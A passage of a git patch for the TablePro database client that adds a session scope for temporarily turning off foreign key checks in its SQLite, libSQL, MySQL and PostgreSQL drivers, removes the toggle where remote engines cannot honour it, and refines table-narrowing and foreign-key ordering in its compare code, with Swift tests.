 create mode 100644 apple/TableProTests/Core/ObjectCopy/ObjectCopyPlannerStructureReadTests.swift
 create mode 100644 apple/changelog.d/3859.added.md
 create mode 100644 apple/changelog.d/3859.changed.md
 create mode 100644 apple/changelog.d/3859.fixed.1.md
 create mode 100644 apple/changelog.d/3859.fixed.2.md
 create mode 100644 apple/changelog.d/3859.fixed.3.md
 create mode 100644 apple/changelog.d/3859.fixed.4.md
 create mode 100644 apple/changelog.d/3859.fixed.5.md
 create mode 100644 apple/changelog.d/3859.fixed.6.md
 create mode 100644 apple/changelog.d/3859.fixed.md

diff --git a/apple/Packages/TableProCore/Tests/TableProPluginKitTests/SQLiteSessionScopeTests.swift b/apple/Packages/TableProCore/Tests/TableProPluginKitTests/SQLiteSessionScopeTests.swift
new file mode 100644
index 0000000000..c404506a45
--- /dev/null
+++ b/apple/Packages/TableProCore/Tests/TableProPluginKitTests/SQLiteSessionScopeTests.swift
@@ -0,0 +1,62 @@
+import Foundation
+import TableProPluginKit
+import Testing
+
+private struct ReadFailure: Error {}
+
+// The connection's foreign_keys as each statement leaves it, and the read-back that follows the assignment.
+private final class ScriptedConnection: @unchecked Sendable {
+    private let lock = NSLock()
+    private var value = "1"
+    private var reads = 0
+    private let secondRead: Result<String, ReadFailure>
+    private var log: [String] = []
+
+    init(secondRead: Result<String, ReadFailure>) {
+        self.secondRead = secondRead
+    }
+
+    var foreignKeys: String { lock.withLock { value } }
+    var statements: [String] { lock.withLock { log } }
+
+    func execute(_ query: String) throws -> PluginQueryResult {
+        try lock.withLock {
+            log.append(query)
+            switch query {
+            case "PRAGMA foreign_keys = ON": value = "1"
+            case "PRAGMA foreign_keys = OFF": value = "0"
+            default:
+                reads += 1
+                let answer = reads == 2 ? try secondRead.get() : value
+                return PluginQueryResult(
+                    columns: ["foreign_keys"], columnTypeNames: [], rows: [[.text(answer)]], rowsAffected: 0, executionTime: 0
+                )
+            }
+            return PluginQueryResult(columns: [], columnTypeNames: [], rows: [], rowsAffected: 0, executionTime: 0)
+        }
+    }
+}
+
+struct SQLiteSessionScopeTests {
+    @Test("A relax whose read-back fails turns foreign keys back on before it throws")
+    func failedReadBackRestores() async {
+        let connection = ScriptedConnection(secondRead: .failure(ReadFailure()))
+
+        await #expect(throws: ReadFailure.self) {
+            _ = try await SQLiteSessionScope.open(for: .relaxedForeignKeys) { try connection.execute($0) }
+        }
+
+        #expect(connection.foreignKeys == "1")
+        #expect(connection.statements.last == "PRAGMA foreign_keys = ON")
+    }
+
+    @Test("A relax whose read-back is unreadable turns foreign keys back on and opens no scope")
+    func unreadableReadBackRestores() async throws {
+        let connection = ScriptedConnection(secondRead: .success("unknown"))
+
+        let scope = try await SQLiteSessionScope.open(for: .relaxedForeignKeys) { try connection.execute($0) }
+
+        #expect(scope == nil)
+        #expect(connection.foreignKeys == "1")
+    }
+}
diff --git a/apple/Plugins/CloudflareD1DriverPlugin/CloudflareD1Plugin.swift b/apple/Plugins/CloudflareD1DriverPlugin/CloudflareD1Plugin.swift
index 215ac5cb6e..cff710c29a 100644
--- a/apple/Plugins/CloudflareD1DriverPlugin/CloudflareD1Plugin.swift
+++ b/apple/Plugins/CloudflareD1DriverPlugin/CloudflareD1Plugin.swift
@@ -28,6 +28,8 @@ final class CloudflareD1Plugin: NSObject, TableProPlugin, DriverPlugin {
     static let supportsSSL = false
     static let isDownloadable = true
     static let supportsImport = false
+    // D1 runs each request in a transaction of its own, where user queries cannot change foreign key enforcement.
+    static let supportsForeignKeyDisable = false
     static let supportsSchemaEditing = true
     static let supportsTriggers = true
     static let supportsDatabaseTriggerBrowse = true
diff --git a/apple/Plugins/CloudflareD1DriverPlugin/CloudflareD1PluginDriver.swift b/apple/Plugins/CloudflareD1DriverPlugin/CloudflareD1PluginDriver.swift
index 9a5f766972..1a6ba5844c 100644
--- a/apple/Plugins/CloudflareD1DriverPlugin/CloudflareD1PluginDriver.swift
+++ b/apple/Plugins/CloudflareD1DriverPlugin/CloudflareD1PluginDriver.swift
@@ -42,7 +42,6 @@ final class CloudflareD1PluginDriver: PluginDatabaseDriver, @unchecked Sendable
         [
             .parameterizedQueries,
             .alterTableDDL,
-            .foreignKeyToggle,
             .truncateTable,
             .cancelQuery,
             .schemaCompare,
@@ -545,16 +544,6 @@ final class CloudflareD1PluginDriver: PluginDatabaseDriver, @unchecked Sendable
         return "DROP VIEW IF EXISTS \(quoted);\nCREATE VIEW \(quoted) AS\nSELECT * FROM table_name;"
     }
 
-    // MARK: - Foreign Key Checks
-
-    func foreignKeyDisableStatements() -> [String]? {
-        ["PRAGMA foreign_keys = OFF"]
-    }
-
-    func foreignKeyEnableStatements() -> [String]? {
-        ["PRAGMA foreign_keys = ON"]
-    }
-
     // MARK: - Table Operations
 
     func truncateTableStatements(table: String, schema: String?, cascade: Bool) -> [String]? {
diff --git a/apple/Plugins/LibSQLDriverPlugin/LibSQLPluginDriver.swift b/apple/Plugins/LibSQLDriverPlugin/LibSQLPluginDriver.swift
index 9860cdb4d4..e8bb9c6300 100644
--- a/apple/Plugins/LibSQLDriverPlugin/LibSQLPluginDriver.swift
+++ b/apple/Plugins/LibSQLDriverPlugin/LibSQLPluginDriver.swift
@@ -45,7 +45,6 @@ final class LibSQLPluginDriver: PluginDatabaseDriver, @unchecked Sendable {
         var base: PluginCapabilities = [
             .parameterizedQueries,
             .alterTableDDL,
-            .foreignKeyToggle,
             .truncateTable,
             .cancelQuery,
             .schemaCompare,
@@ -54,6 +53,7 @@ final class LibSQLPluginDriver: PluginDatabaseDriver, @unchecked Sendable {
         if isLocalMode {
             base.insert(.transactions)
             base.insert(.batchExecute)
+            base.insert(.foreignKeyToggle)
         }
         return base
     }
@@ -581,12 +581,25 @@ final class LibSQLPluginDriver: PluginDatabaseDriver, @unchecked Sendable {
 
     // MARK: - Foreign Key Checks
 
+    // Remote runs every statement on a stream of its own, so a pragma is gone before the next statement runs.
     func foreignKeyDisableStatements() -> [String]? {
-        ["PRAGMA foreign_keys = OFF"]
+        isLocalMode ? ["PRAGMA foreign_keys = OFF"] : nil
     }
 
     func foreignKeyEnableStatements() -> [String]? {
-        ["PRAGMA foreign_keys = ON"]
+        isLocalMode ? ["PRAGMA foreign_keys = ON"] : nil
+    }
+
+    // MARK: - Session Scope
+
+    func openSessionScope(for purpose: PluginSessionPurpose) async throws -> PluginSessionScope? {
+        guard isLocalMode else { return nil }
+        return try await SQLiteSessionScope.open(for: purpose) { try await self.execute(query: $0) }
+    }
+
+    func closeSessionScope(_ scope: PluginSessionScope) async throws {
+        guard isLocalMode else { return }
+        try await SQLiteSessionScope.close(scope) { try await self.execute(query: $0) }
     }
 
     // MARK: - Table Operations
diff --git a/apple/Plugins/MySQLDriverPlugin/MySQLPluginDriver+SessionScope.swift b/apple/Plugins/MySQLDriverPlugin/MySQLPluginDriver+SessionScope.swift
index 3478a2ec44..04c6eca032 100644
--- a/apple/Plugins/MySQLDriverPlugin/MySQLPluginDriver+SessionScope.swift
+++ b/apple/Plugins/MySQLDriverPlugin/MySQLPluginDriver+SessionScope.swift
@@ -9,7 +9,8 @@ import TableProMySQLCore
 import TableProPluginKit
 
 internal extension MySQLPluginDriver {
-    /// Databend has no `sql_mode` to hold, and a server before 5.0.3 cannot filter `SHOW` with `WHERE`.
+    /// Databend has no `sql_mode` or foreign key checks to hold, and a server before 5.0.3 cannot filter `SHOW` with
+    /// `WHERE`.
     func openSessionScope(for purpose: PluginSessionPurpose) async throws -> PluginSessionScope? {
         let names = MySQLSessionScopePlan.savedNames(for: purpose)
         guard !flavor.isDatabend,
diff --git a/apple/Plugins/MySQLDriverPlugin/MySQLSessionScopePlan.swift b/apple/Plugins/MySQLDriverPlugin/MySQLSessionScopePlan.swift
index 291959a2dc..6bca4c79ea 100644
--- a/apple/Plugins/MySQLDriverPlugin/MySQLSessionScopePlan.swift
+++ b/apple/Plugins/MySQLDriverPlugin/MySQLSessionScopePlan.swift
@@ -35,6 +35,8 @@ internal enum MySQLSessionScopePlan {
             return preservedNames
         case .verbatimRead, .verbatimWrite:
             return verbatimNames
+        case .relaxedForeignKeys:
+            return ["foreign_key_checks"]
         @unknown default:
             return []
         }
@@ -57,6 +59,8 @@ internal enum MySQLSessionScopePlan {
                 PluginSessionSetting(name: "sql_mode", value: writeMode(saved: saved)),
                 PluginSessionSetting(name: "time_zone", value: "+00:00"),
             ]
+        case .relaxedForeignKeys:
+            return [PluginSessionSetting(name: "foreign_key_checks", value: "OFF")]
         @unknown default:
             return nil
         }
diff --git a/apple/Plugins/MySQLDriverTests/MySQLSessionScopeTests.swift b/apple/Plugins/MySQLDriverTests/MySQLSessionScopeTests.swift
index 67741e4379..ea60bb8367 100644
--- a/apple/Plugins/MySQLDriverTests/MySQLSessionScopeTests.swift
+++ b/apple/Plugins/MySQLDriverTests/MySQLSessionScopeTests.swift
@@ -4,6 +4,7 @@
 //
 
 import Foundation
+import TableProMySQLCore
 import TableProPluginKit
 import Testing
 
@@ -105,6 +106,21 @@ struct MySQLSessionScopeTests {
         #expect(MySQLSessionScopePlan.writeMode(saved: saved) == writeMode)
     }
 
+    /// `SET SESSION foreign_key_checks = 'OFF'` and `'ON'` measured on MySQL 8.4.13, inside a transaction too.
+    @Test("Relaxing foreign keys saves foreign_key_checks alone, turns it off, and closing turns it back on")
+    func relaxedForeignKeysPlan() {
+        let saved = [PluginSessionSetting(name: "foreign_key_checks", value: "ON")]
+        #expect(MySQLSessionScopePlan.savedNames(for: .relaxedForeignKeys) == ["foreign_key_checks"])
+        let applied = MySQLSessionScopePlan.applied(for: .relaxedForeignKeys, saved: saved)
+        #expect(applied == [PluginSessionSetting(name: "foreign_key_checks", value: "OFF")])
+        #expect(applied?.compactMap { MySQLSessionStatements.assignment(name: $0.name, value: $0.value) } == [
+            "SET SESSION foreign_key_checks = 'OFF'",
+        ])
+        let restore = MySQLSessionScopePlan.restore(saved: saved, current: applied ?? [], isTransactionOpen: true)
+        #expect(restore.statements == ["SET SESSION foreign_key_checks = 'ON'"])
+        #expect(restore.isComplete)
+    }
+
     @Test("A write scope with no saved mode adds only NO_AUTO_VALUE_ON_ZERO, and reading ignores the session's mode")
     func writeModeWithoutSavedMode() {
         #expect(MySQLSessionScopePlan.writeMode(saved: []) == "NO_AUTO_VALUE_ON_ZERO")
@@ -216,7 +232,7 @@ struct MySQLSessionScopeTests {
             host: "", port: 0, username: "", password: "", database: "",
             additionalFields: ["driverVariant": MySQLServerFlavor.databendVariant]
         ))
-        for purpose in [PluginSessionPurpose.preserve, .verbatimRead, .verbatimWrite] {
+        for purpose in [PluginSessionPurpose.preserve, .verbatimRead, .verbatimWrite, .relaxedForeignKeys] {
             #expect(try await driver.openSessionScope(for: purpose) == nil)
         }
         let routine = PluginRoutineInfo(name: "cleanup", kind: .procedure)
diff --git a/apple/Plugins/PostgreSQLDriverPlugin/PostgreSQLPluginDriver+SessionScope.swift b/apple/Plugins/PostgreSQLDriverPlugin/PostgreSQLPluginDriver+SessionScope.swift
index 2d30cbd3b3..73dd899b7d 100644
--- a/apple/Plugins/PostgreSQLDriverPlugin/PostgreSQLPluginDriver+SessionScope.swift
+++ b/apple/Plugins/PostgreSQLDriverPlugin/PostgreSQLPluginDriver+SessionScope.swift
@@ -24,6 +24,9 @@ internal extension PostgreSQLPluginDriver {
         case .verbatimWrite:
             // What the read pins reads back the same under any settings; nil would make the host drop the read too.
             return PluginSessionScope(purpose: .verbatimWrite, saved: [], applied: [])
+        case .relaxedForeignKeys:
+            // `session_replication_role = replica` would also stop the target's user triggers, and needs a superuser.
+            return nil
         @unknown default:
             return nil
         }
diff --git a/apple/Plugins/PostgreSQLDriverPlugin/PostgreSQLPluginDriver.swift b/apple/Plugins/PostgreSQLDriverPlugin/PostgreSQLPluginDriver.swift
index 9c04366997..32f401b440 100644
--- a/apple/Plugins/PostgreSQLDriverPlugin/PostgreSQLPluginDriver.swift
+++ b/apple/Plugins/PostgreSQLDriverPlugin/PostgreSQLPluginDriver.swift
@@ -132,11 +132,17 @@ class PostgreSQLPluginDriver: LibPQBackedDriver, @unchecked Sendable {
     // MARK: - Foreign Keys
 
     func foreignKeyDisableStatements() -> [String]? {
-        ["SET session_replication_role = replica"]
+        [Self.settingReplicationRole("replica")]
     }
 
     func foreignKeyEnableStatements() -> [String]? {
-        ["SET session_replication_role = DEFAULT"]
+        [Self.settingReplicationRole("DEFAULT")]
+    }
+
+    /// Setting it takes a superuser or a `SET` grant, and a bare refusal aborts the transaction it runs in. The block
+    /// swallows the refusal and keeps the transaction, and an allowed `SET` outlives it (measured on 17.11 and 18.6).
+    private static func settingReplicationRole(_ value: String) -> String {
+        "DO $$ BEGIN SET session_replication_role = \(value); EXCEPTION WHEN insufficient_privilege THEN NULL; END $$"
     }
 
     /// A duplicated database arrives with `public` alone, so every other schema its tables are
diff --git a/apple/Plugins/PostgreSQLDriverTests/PostgreSQLSessionScopeSQLTests.swift b/apple/Plugins/PostgreSQLDriverTests/PostgreSQLSessionScopeSQLTests.swift
index 1829120d69..b39c229f05 100644
--- a/apple/Plugins/PostgreSQLDriverTests/PostgreSQLSessionScopeSQLTests.swift
+++ b/apple/Plugins/PostgreSQLDriverTests/PostgreSQLSessionScopeSQLTests.swift
@@ -175,4 +175,26 @@ struct PostgreSQLSessionScopeSQLTests {
     func readScopeRefusesOtherwise(state: PluginSessionTransactionState) {
         #expect(!PostgreSQLSessionScopeSQL.canOpenReadScope(in: state))
     }
+
+    private static func unconnectedDriver() -> PostgreSQLPluginDriver {
+        PostgreSQLPluginDriver(config: DriverConnectionConfig(host: "", port: 0, username: "", password: "", database: ""))
+    }
+
+    /// Measured on PostgreSQL 17.11 and 18.6: for a role without the privilege the block answers DO and the
+    /// transaction keeps its rows, where the bare `SET` aborts it.
+    @Test("The foreign key switch swallows a refused SET, both ways")
+    func foreignKeySwitchSwallowsRefusal() {
+        let driver = Self.unconnectedDriver()
+        #expect(driver.foreignKeyDisableStatements() == [
+            "DO $$ BEGIN SET session_replication_role = replica; EXCEPTION WHEN insufficient_privilege THEN NULL; END $$",
+        ])
+        #expect(driver.foreignKeyEnableStatements() == [
+            "DO $$ BEGIN SET session_replication_role = DEFAULT; EXCEPTION WHEN insufficient_privilege THEN NULL; END $$",
+        ])
+    }
+
+    @Test("Relaxing foreign keys opens no scope, since replica would also stop the target's user triggers")
+    func relaxedForeignKeysOpensNoScope() async throws {
+        #expect(try await Self.unconnectedDriver().openSessionScope(for: .relaxedForeignKeys) == nil)
+    }
 }
diff --git a/apple/Plugins/SQLiteDriverPlugin/SQLitePlugin.swift b/apple/Plugins/SQLiteDriverPlugin/SQLitePlugin.swift
index bd2222677e..09956c3069 100644
--- a/apple/Plugins/SQLiteDriverPlugin/SQLitePlugin.swift
+++ b/apple/Plugins/SQLiteDriverPlugin/SQLitePlugin.swift
@@ -290,6 +290,16 @@ final class SQLitePluginDriver: PluginDatabaseDriver, @unchecked Sendable {
         ["PRAGMA foreign_keys = ON"]
     }
 
+    // MARK: - Session Scope
+
+    func openSessionScope(for purpose: PluginSessionPurpose) async throws -> PluginSessionScope? {
+        try await SQLiteSessionScope.open(for: purpose) { try await self.execute(query: $0) }
+    }
+
+    func closeSessionScope(_ scope: PluginSessionScope) async throws {
+        try await SQLiteSessionScope.close(scope) { try await self.execute(query: $0) }
+    }
+
     // MARK: - User Query
 
     func executeBoundedQuery(query: String, rowCap: Int) async throws -> PluginQueryResult? {
diff --git a/apple/Plugins/SQLiteDriverTests/SQLiteSessionScopeTests.swift b/apple/Plugins/SQLiteDriverTests/SQLiteSessionScopeTests.swift
new file mode 100644
index 0000000000..67f9456c1f
--- /dev/null
+++ b/apple/Plugins/SQLiteDriverTests/SQLiteSessionScopeTests.swift
@@ -0,0 +1,96 @@
+//
+//  SQLiteSessionScopeTests.swift
+//  SQLiteDriverTests
+//
+
+import Foundation
+import TableProPluginKit
+import Testing
+
+struct SQLiteSessionScopeTests {
+    private func withDriver(_ body: (SQLitePluginDriver) async throws -> Void) async throws {
+        let url = FileManager.default.temporaryDirectory
+            .appendingPathComponent("sqlite-scope-\(UUID().uuidString).sqlite")
+        defer { try? FileManager.default.removeItem(at: url) }
+        let driver = SQLitePluginDriver(config: DriverConnectionConfig(
+            host: "", port: 0, username: "", password: "", database: url.path
+        ))
+        try await driver.connect()
+        defer { driver.disconnect() }
+        try await body(driver)
+    }
+
+    private func foreignKeys(_ driver: SQLitePluginDriver) async throws -> String? {
+        try await driver.execute(query: "PRAGMA foreign_keys").rows.first?.first?.asText
+    }
+
+    @Test("Closing a preserve scope turns foreign keys back off after the statements inside turned them on")
+    func preserveRestoresForeignKeys() async throws {
+        try await withDriver { driver in
+            #expect(try await foreignKeys(driver) == "0")
+            let scope = try #require(try await driver.openSessionScope(for: .preserve))
+            #expect(scope.applied.isEmpty)
+            _ = try await driver.execute(query: "PRAGMA foreign_keys = ON")
+            try await driver.closeSessionScope(scope)
+            #expect(try await foreignKeys(driver) == "0")
+        }
+    }
+
+    @Test("A preserve scope that cannot put foreign keys back inside a transaction says so")
+    func preserveCloseInsideTransactionThrows() async throws {
+        try await withDriver { driver in
+            let scope = try #require(try await driver.openSessionScope(for: .preserve))
+            _ = try await driver.execute(query: "PRAGMA foreign_keys = ON")
+            _ = try await driver.execute(query: "BEGIN")
+            await #expect(throws: (any Error).self) { try await driver.closeSessionScope(scope) }
+            _ = try await driver.execute(query: "ROLLBACK")
+            try await driver.closeSessionScope(scope)
+            #expect(try await foreignKeys(driver) == "0")
+        }
+    }
+
+    @Test("Relaxing turns foreign keys off for the writes and closing turns them back on")
+    func relaxTurnsForeignKeysOffAndBack() async throws {
+        try await withDriver { driver in
+            _ = try await driver.execute(query: "CREATE TABLE parent (id INTEGER PRIMARY KEY)")
+            _ = try await driver.execute(query: "CREATE TABLE child (id INTEGER PRIMARY KEY, parent_id INTEGER REFERENCES parent (id))")
+            _ = try await driver.execute(query: "PRAGMA foreign_keys = ON")
+            let scope = try #require(try await driver.openSessionScope(for: .relaxedForeignKeys))
+            #expect(scope.applied == [PluginSessionSetting(name: "foreign_keys", value: "0")])
+            #expect(try await foreignKeys(driver) == "0")
+            _ = try await driver.execute(query: "INSERT INTO child VALUES (1, 7)")
+            try await driver.closeSessionScope(scope)
+            #expect(try await foreignKeys(driver) == "1")
+        }
+    }
+
+    /// sqlite.org/pragma.html#pragma_foreign_keys: the pragma is a no-op while a transaction is open.
+    @Test("Relaxing inside a transaction opens no scope and leaves foreign keys on")
+    func relaxInsideTransactionIsNil() async throws {
+        try await withDriver { driver in
+            _ = try await driver.execute(query: "PRAGMA foreign_keys = ON")
+            _ = try await driver.execute(query: "BEGIN")
+            #expect(try await driver.openSessionScope(for: .relaxedForeignKeys) == nil)
+            #expect(try await foreignKeys(driver) == "1")
+            _ = try await driver.execute(query: "ROLLBACK")
+        }
+    }
+
+    @Test("Relaxing a connection whose foreign keys are already off opens no scope")
+    func relaxWhenAlreadyOffIsNil() async throws {
+        try await withDriver { driver in
+            let scope = try await driver.openSessionScope(for: .relaxedForeignKeys)
+            let value = try await foreignKeys(driver)
+            #expect(scope == nil)
+            #expect(value == "0")
+        }
+    }
+
+    @Test("The verbatim purposes open no scope", arguments: [PluginSessionPurpose.verbatimRead, .verbatimWrite])
+    func verbatimPurposesAreNil(_ purpose: PluginSessionPurpose) async throws {
+        try await withDriver { driver in
+            let scope = try await driver.openSessionScope(for: purpose)
+            #expect(scope == nil)
+        }
+    }
+}
diff --git a/apple/Plugins/TableProPluginKit/PluginDatabaseDriver.swift b/apple/Plugins/TableProPluginKit/PluginDatabaseDriver.swift
index ed59378451..2105e052b9 100644
--- a/apple/Plugins/TableProPluginKit/PluginDatabaseDriver.swift
+++ b/apple/Plugins/TableProPluginKit/PluginDatabaseDriver.swift
@@ -570,7 +570,9 @@ public protocol PluginDatabaseDriver: AnyObject, Sendable {
     // Table operations (optional — return nil to use app-level fallback)
     func truncateTableStatements(table: String, schema: String?, cascade: Bool) -> [String]?
     func dropObjectStatement(name: String, objectType: String, schema: String?, cascade: Bool) -> String?
+    /// Turns the session's foreign key checks off. Runs outside a transaction, on the connection that writes.
     func foreignKeyDisableStatements() -> [String]?
+    /// Turns them on whatever they were before; a caller that needs the previous value back holds a session scope.
     func foreignKeyEnableStatements() -> [String]?
 
     /// `UPDATE <table> SET <assignments> WHERE <predicate>` in this engine's own form, or nil for that form. The host
diff --git a/apple/Plugins/TableProPluginKit/PluginSessionScope.swift b/apple/Plugins/TableProPluginKit/PluginSessionScope.swift
index de64f78517..199a979805 100644
--- a/apple/Plugins/TableProPluginKit/PluginSessionScope.swift
+++ b/apple/Plugins/TableProPluginKit/PluginSessionScope.swift
@@ -18,6 +18,10 @@ public enum PluginSessionPurpose: Sendable, Equatable {
     /// Rows read under `verbatimRead` are written back: the target side of a copy. A driver pins the same
     /// representation for both purposes, so a value read under one is written under the other unchanged.
     case verbatimWrite
+
+    /// Rows arrive in an order the target's foreign keys may refuse. The driver turns off the checks it can for this
+    /// session, changing nothing else the writes do, and closing puts back what it saved. Nil when it cannot.
+    case relaxedForeignKeys
 }
 
 /// One session setting, named and spelled the way its driver reads and writes it. A nil value is SQL `NULL`.
diff --git a/apple/Plugins/TableProPluginKit/SQLiteSessionScope.swift b/apple/Plugins/TableProPluginKit/SQLiteSessionScope.swift
new file mode 100644
index 0000000000..903279fb45
--- /dev/null
+++ b/apple/Plugins/TableProPluginKit/SQLiteSessionScope.swift
@@ -0,0 +1,80 @@
+//
+//  SQLiteSessionScope.swift
+//  TableProPluginKit
+//
+
+import Foundation
+
+/// The session scopes of SQLite and libSQL's local file, which run every statement on the one connection the driver
+/// holds. Only `PRAGMA foreign_keys` is held there; the verbatim purposes open none.
+public enum SQLiteSessionScope {
+    private static let foreignKeys = "foreign_keys"
+    private static let on = "1"
+    private static let off = "0"
+
+    public static func open(
+        for purpose: PluginSessionPurpose,
+        execute: (String) async throws -> PluginQueryResult
+    ) async throws -> PluginSessionScope? {
+        switch purpose {
+        case .preserve:
+            guard let saved = try await readForeignKeys(execute) else { return nil }
+            return PluginSessionScope(purpose: purpose, saved: [saved], applied: [])
+        case .relaxedForeignKeys:
+            guard let saved = try await readForeignKeys(execute), saved.value == on else { return nil }
+            _ = try await execute(assignment(off))
+            // No scope reaches the caller past here, so nothing else would turn them back on.
+            let readBack: PluginSessionSetting?
+            do {
+                readBack = try await readForeignKeys(execute)
+            } catch {
+                _ = try? await execute(assignment(on))
+                throw error
+            }
+            // The pragma is a no-op while a transaction is open, and says so only when read back.
+            guard readBack?.value == off else {
+                _ = try? await execute(assignment(on))
+                return nil
+            }
+            let applied = PluginSessionSetting(name: foreignKeys, value: off)
+            return PluginSessionScope(purpose: purpose, saved: [saved], applied: [applied])
+        case .verbatimRead, .verbatimWrite:
+            return nil
+        }
+    }
+
+    public static func close(
+        _ scope: PluginSessionScope,
+        execute: (String) async throws -> PluginQueryResult
+    ) async throws {
+        guard let saved = scope.saved.first(where: { $0.name == foreignKeys })?.value,
+              try await readForeignKeys(execute)?.value != saved
+        else { return }
+        _ = try await execute(assignment(saved))
+        guard try await readForeignKeys(execute)?.value == saved else {
+            throw SQLiteSessionScopeError.transactionOpen
+        }
+    }
+
+    private static func readForeignKeys(
+        _ execute: (String) async throws -> PluginQueryResult
+    ) async throws -> PluginSessionSetting? {
+        switch try await execute("PRAGMA foreign_keys").rows.first?[safe: 0]?.asText?.lowercased() {
+        case "1", "true": return PluginSessionSetting(name: foreignKeys, value: on)
+        case "0", "false": return PluginSessionSetting(name: foreignKeys, value: off)
+        default: return nil
+        }
+    }
+
+    private static func assignment(_ value: String) -> String {
+        "PRAGMA foreign_keys = \(value == on ? "ON" : "OFF")"
+    }
+}
+
+private enum SQLiteSessionScopeError: LocalizedError {
+    case transactionOpen
+
+    var errorDescription: String? {
+        String(localized: "Foreign key enforcement could not be put back while a transaction is open.")
+    }
+}
diff --git a/apple/TablePro/Core/Compare/CompareMetadataService.swift b/apple/TablePro/Core/Compare/CompareMetadataService.swift
index 278ee0ee29..308c4a927b 100644
--- a/apple/TablePro/Core/Compare/CompareMetadataService.swift
+++ b/apple/TablePro/Core/Compare/CompareMetadataService.swift
@@ -104,7 +104,7 @@ internal struct CompareMetadataService {
     /// `names` narrows the read to the objects the caller already knows it wants, matched without
     /// regard to case because engines disagree on identifier folding. A comparison passes nil and
     /// reads the whole scope; a copy of one table would otherwise pay four round trips for every
-    /// other table in the database.
+    /// other table in the database. Names that cover every table still take the whole-scope reads.
     ///
     /// `profile` says which of the four reads this caller actually looks at. A data comparison
     /// pairs tables and reads their rows, so the indexes and the table metadata it used to fetch
@@ -124,20 +124,35 @@ internal struct CompareMetadataService {
 
         return try await manager.withMetadataDriver(scope: endpoint.scope) { driver in
             guard let plugin = Self.pluginDriver(from: driver) else { return [] }
-            let tables = try await plugin.fetchTables(schema: schema).filter { table in
-                guard wanted?.contains(table.name.lowercased()) ?? true,
-                      !CompareTableKindClassifier.isSequence(table) else { return false }
+            let listed = try await plugin.fetchTables(schema: schema).filter { table in
+                guard !CompareTableKindClassifier.isSequence(table) else { return false }
                 let kind = CompareTableKindClassifier.kind(of: table)
                 return kind == .table || includeViews
             }
             return try await Self.read(
-                tables: tables, schema: schema, profile: profile,
-                narrowed: wanted != nil, databaseType: databaseType,
+                tables: listed.filter { wanted?.contains($0.name.lowercased()) ?? true },
+                schema: schema, profile: profile,
+                narrowed: Self.narrows(listed, to: wanted), databaseType: databaseType,
                 indexedKinds: indexedKinds, using: plugin
             )
         }
     }
 
+    /// Whether `wanted` leaves out a table `listed` offers, which is when the whole-scope reads
+    /// would fetch more than the caller keeps. A Copy To of every table took the per-table reads
+    /// anyway: 52 statements for 8 MySQL tables, measured, against 5 in bulk. A foreign table and
+    /// a sequence are never offered for a copy, and a view adds little to a bulk read, so none of
+    /// them counts.
+    nonisolated internal static func narrows(_ listed: [PluginTableInfo], to wanted: Set<String>?) -> Bool {
+        guard let wanted else { return false }
+        return listed.contains { table in
+            CompareTableKindClassifier.kind(of: table) == .table
+                && !CompareTableKindClassifier.isForeign(table)
+                && !CompareTableKindClassifier.isSequence(table)
+                && !wanted.contains(table.name.lowercased())
+        }
+    }
+
     /// Both sides at once.
     ///
     /// A comparison is two independent reads and used to run them one after the other, so the wall
@@ -219,8 +234,9 @@ internal struct CompareMetadataService {
     /// connection queue behind each other. Its gate was `supportsConnectionPooling`, which answers
     /// whether a *second* connection is safe, not whether one connection can run two statements.
     ///
-    /// `narrowed` says the caller asked for specific tables, so the whole-schema queries would read
-    /// the rest of the database to throw it away. Those callers keep the per-table reads.
+    /// `narrowed` says the caller wants only some of the scope's tables (`narrows`), so the
+    /// whole-schema queries would read the rest of the database to throw it away. Those callers
+    /// keep the per-table reads.
     nonisolated internal static func read(
         tables: [PluginTableInfo],
         schema: String?,
diff --git a/apple/TablePro/Core/Compare/CompareRunner+Data.swift b/apple/TablePro/Core/Compare/CompareRunner+Data.swift
index 374101fa37..4227d26368 100644
--- a/apple/TablePro/Core/Compare/CompareRunner+Data.swift
+++ b/apple/TablePro/Core/Compare/CompareRunner+Data.swift
@@ -122,8 +122,26 @@ internal extension CompareRunner {
             byTable.append((plan, statements))
         }
         guard !byTable.isEmpty else { return [] }
+        return Self.orderedAcrossTables(
+            byTable,
+            sourceSnapshots: session.sourceSnapshots,
+            in: Self.referenceNamespace(of: context.source)
+        )
+    }
 
-        let foreignKeys = CompareRunner.foreignKeyMap(from: session.sourceSnapshots)
+    static func orderedAcrossTables(
+        _ byTable: [(plan: DataComparePlan, statements: DataSyncStatements)],
+        sourceSnapshots: [String: TableStructureSnapshot],
+        in namespace: ReferenceNamespace
+    ) -> [SyncStatement] {
+        var foreignKeys: [String: [PluginForeignKeyInfo]] = [:]
+        for entry in byTable {
+            // A listing that leaves the schema off keys the snapshot by bare name, while the plan takes the endpoint's.
+            guard let snapshot = sourceSnapshots[entry.plan.id] ?? sourceSnapshots[entry.plan.table] else { continue }
+            let dependencies = dependencies(of: snapshot, ownSchema: entry.plan.schema, in: namespace)
+            guard !dependencies.isEmpty else { continue }
+            foreignKeys[entry.plan.id] = dependencies
+        }
         let nodes = byTable.map { ForeignKeyTopologicalSort.Table(name: $0.plan.table, schema: $0.plan.schema) }
         let parentFirst = ForeignKeyTopologicalSort
             .ordered(nodes, foreignKeysByTable: foreignKeys, childrenFirst: false)
diff --git a/apple/TablePro/Core/Compare/CompareRunner.swift b/apple/TablePro/Core/Compare/CompareRunner.swift
index 9eb2f6f83b..2503092cf8 100644
--- a/apple/TablePro/Core/Compare/CompareRunner.swift
+++ b/apple/TablePro/Core/Compare/CompareRunner.swift
@@ -441,7 +441,12 @@ internal struct CompareRunner {
         let sourceDefined = selected
             .filter { $0.identity.kind != .table }
             .map { (result: $0, action: session.action(for: $0)) }
-        let foreignKeys = Self.foreignKeyMap(from: snapshots)
+        let foreignKeys = Self.structureForeignKeys(
+            source: snapshots,
+            in: Self.referenceNamespace(of: context.source),
+            target: session.targetSnapshots,
+            in: Self.referenceNamespace(of: context.target)
+        )
 
         return try await DatabaseManager.shared.withMetadataDriver(scope: context.target.scope) { driver in
             guard let plugin = CompareMetadataService.pluginDriver(from: driver) else {
@@ -498,28 +503,78 @@ internal struct CompareRunner {
         }
     }
 
+    // MARK: - Foreign keys
+
+    // What a catalog writes into `referencedSchema` for a key inside the endpoint: MySQL's database, PostgreSQL's schema.
+    internal struct ReferenceNamespace {
+        internal let name: String?
+
+        internal init(endpoint: DatabaseEndpoint, supportsSchemas: Bool, supportsDatabases: Bool) {
+            self.name = ObjectCopyNamespace.name(
+                for: endpoint, supportsSchemas: supportsSchemas, supportsDatabases: supportsDatabases
+            )
+        }
+
